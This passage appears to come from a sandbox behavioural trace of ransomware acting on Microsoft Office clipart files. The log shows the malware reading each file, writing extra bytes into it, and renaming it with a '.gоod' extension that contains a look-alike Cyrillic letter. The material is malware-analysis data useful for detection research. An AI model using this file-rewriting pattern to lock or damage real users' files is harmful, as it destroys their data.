dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0272.015] GetFileType (hFile=0x8a8) returned 0x1 [0272.015] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0272.015] GetFileType (hFile=0x8a8) returned 0x1 [0272.015] ReadFile (in: hFile=0x8a8, lpBuffer=0x3912d28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3912d28*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0272.043] CloseHandle (hObject=0x8a8) returned 1 [0272.043] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID", lpFilePart=0x0) returned 0x44 [0272.043] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0272.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0272.043] GetFileType (hFile=0x8a8) returned 0x1 [0272.043] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0272.043] GetFileType (hFile=0x8a8) returned 0x1 [0272.043] WriteFile (in: hFile=0x8a8, lpBuffer=0x3911a80*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x3911a80*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0272.043] CloseHandle (hObject=0x8a8) returned 1 [0272.044] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID", lpFilePart=0x0) returned 0x44 [0272.044] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.gоod", lpFilePart=0x0) returned 0x49 [0272.044] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0272.044] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9e5d6640, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1b4a)) returned 1 [0272.044] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0272.044] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid.gоod")) returned 1 [0272.045] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF", lpFilePart=0x0) returned 0x41 [0272.045] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0272.045] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf"), fInfoLevelId=0x0, lpFileInformation=0x398f570 | out: lpFileInformation=0x398f570*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1496)) returned 1 [0272.045] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0272.046] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF", lpFilePart=0x0) returned 0x41 [0272.046] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0272.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0272.046] GetFileType (hFile=0x8a8) returned 0x1 [0272.046] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0272.046] GetFileType (hFile=0x8a8) returned 0x1 [0272.046] SetFilePointer (in: hFile=0x8a8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0272.046] ReadFile (in: hFile=0x8a8, lpBuffer=0x398f968, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x398f968*, lpNumberOfBytesRead=0x1faedd28*=0x496, lpOverlapped=0x0) returned 1 [0272.160] CloseHandle (hObject=0x8a8) returned 1 [0272.160] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF", lpFilePart=0x0) returned 0x41 [0272.160] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0272.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0272.160] GetFileType (hFile=0x8a8) returned 0x1 [0272.160] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0272.160] GetFileType (hFile=0x8a8) returned 0x1 [0272.160] SetFilePointer (in: hFile=0x8a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1496 [0272.161] WriteFile (in: hFile=0x8a8, lpBuffer=0x384f828*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x384f828*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0272.161] CloseHandle (hObject=0x8a8) returned 1 [0272.161] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF", lpFilePart=0x0) returned 0x41 [0272.161] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0272.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0272.161] GetFileType (hFile=0x8a8) returned 0x1 [0272.161] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0272.161] GetFileType (hFile=0x8a8) returned 0x1 [0272.161] ReadFile (in: hFile=0x8a8, lpBuffer=0x3851ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3851ad8*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0272.188] CloseHandle (hObject=0x8a8) returned 1 [0272.188] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF", lpFilePart=0x0) returned 0x41 [0272.189] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0272.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0272.189] GetFileType (hFile=0x8a8) returned 0x1 [0272.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0272.189] GetFileType (hFile=0x8a8) returned 0x1 [0272.189] WriteFile (in: hFile=0x8a8, lpBuffer=0x3850840*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x3850840*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0272.189] CloseHandle (hObject=0x8a8) returned 1 [0272.189] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF", lpFilePart=0x0) returned 0x41 [0272.189] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.gоod", lpFilePart=0x0) returned 0x46 [0272.189] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0272.189] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9e72db41, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x14a6)) returned 1 [0272.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0272.189] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf.gоod")) returned 1 [0272.190] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF", lpFilePart=0x0) returned 0x44 [0272.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0272.190] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf"), fInfoLevelId=0x0, lpFileInformation=0x38cdea0 | out: lpFileInformation=0x38cdea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc18a)) returned 1 [0272.190] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0272.191] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF", lpFilePart=0x0) returned 0x44 [0272.191] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0272.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0272.191] GetFileType (hFile=0x8a8) returned 0x1 [0272.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0272.191] GetFileType (hFile=0x8a8) returned 0x1 [0272.191] SetFilePointer (in: hFile=0x8a8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0272.191] ReadFile (in: hFile=0x8a8, lpBuffer=0x38ce2b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x38ce2b8*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0272.192] CloseHandle (hObject=0x8a8) returned 1 [0272.193] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF", lpFilePart=0x0) returned 0x44 [0272.193] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0272.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0272.193] GetFileType (hFile=0x8a8) returned 0x1 [0272.193] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0272.193] GetFileType (hFile=0x8a8) returned 0x1 [0272.193] SetFilePointer (in: hFile=0x8a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0xc18a [0272.193] WriteFile (in: hFile=0x8a8, lpBuffer=0x38cf690*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x38cf690*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0273.060] CloseHandle (hObject=0x8a8) returned 1 [0273.060] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF", lpFilePart=0x0) returned 0x44 [0273.061] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0273.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0273.061] GetFileType (hFile=0x8a8) returned 0x1 [0273.061] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0273.061] GetFileType (hFile=0x8a8) returned 0x1 [0273.061] ReadFile (in: hFile=0x8a8, lpBuffer=0x3c076b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3c076b8*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0273.727] CloseHandle (hObject=0x8a8) returned 1 [0273.727] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF", lpFilePart=0x0) returned 0x44 [0273.727] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0273.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0273.727] GetFileType (hFile=0x8a8) returned 0x1 [0273.727] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0273.727] GetFileType (hFile=0x8a8) returned 0x1 [0273.727] WriteFile (in: hFile=0x8a8, lpBuffer=0x38738e0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x38738e0*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0273.727] CloseHandle (hObject=0x8a8) returned 1 [0273.728] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF", lpFilePart=0x0) returned 0x44 [0273.728] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.gоod", lpFilePart=0x0) returned 0x49 [0273.728] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0273.728] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9f5ee21a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc19a)) returned 1 [0273.728] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0273.728] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf.gоod")) returned 1 [0273.729] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF", lpFilePart=0x0) returned 0x3f [0273.729] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0273.729] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf"), fInfoLevelId=0x0, lpFileInformation=0x39b5108 | out: lpFileInformation=0x39b5108*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb96)) returned 1 [0273.729] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0273.729] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF", lpFilePart=0x0) returned 0x3f [0273.729] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0273.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0273.729] GetFileType (hFile=0x8a8) returned 0x1 [0273.730] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0273.730] GetFileType (hFile=0x8a8) returned 0x1 [0273.730] GetFileSize (in: hFile=0x8a8, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0xb96 [0273.730] ReadFile (in: hFile=0x8a8, lpBuffer=0x39b5f08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x39b5f08*, lpNumberOfBytesRead=0x1faedc88*=0xb96, lpOverlapped=0x0) returned 1 [0273.731] CloseHandle (hObject=0x8a8) returned 1 [0273.860] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF", lpFilePart=0x0) returned 0x3f [0273.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0273.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0273.862] GetFileType (hFile=0x8a8) returned 0x1 [0273.862] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0273.862] GetFileType (hFile=0x8a8) returned 0x1 [0273.862] WriteFile (in: hFile=0x8a8, lpBuffer=0x38b4000*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x38b4000*, lpNumberOfBytesWritten=0x1faedb98*=0xba0, lpOverlapped=0x0) returned 1 [0273.863] CloseHandle (hObject=0x8a8) returned 1 [0273.863] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF", lpFilePart=0x0) returned 0x3f [0273.863] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.gоod", lpFilePart=0x0) returned 0x44 [0273.863] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0273.863] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9f71f50f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xba0)) returned 1 [0273.863] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0273.863] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.gоod" (normalized: "c:\\program files\\microsoft 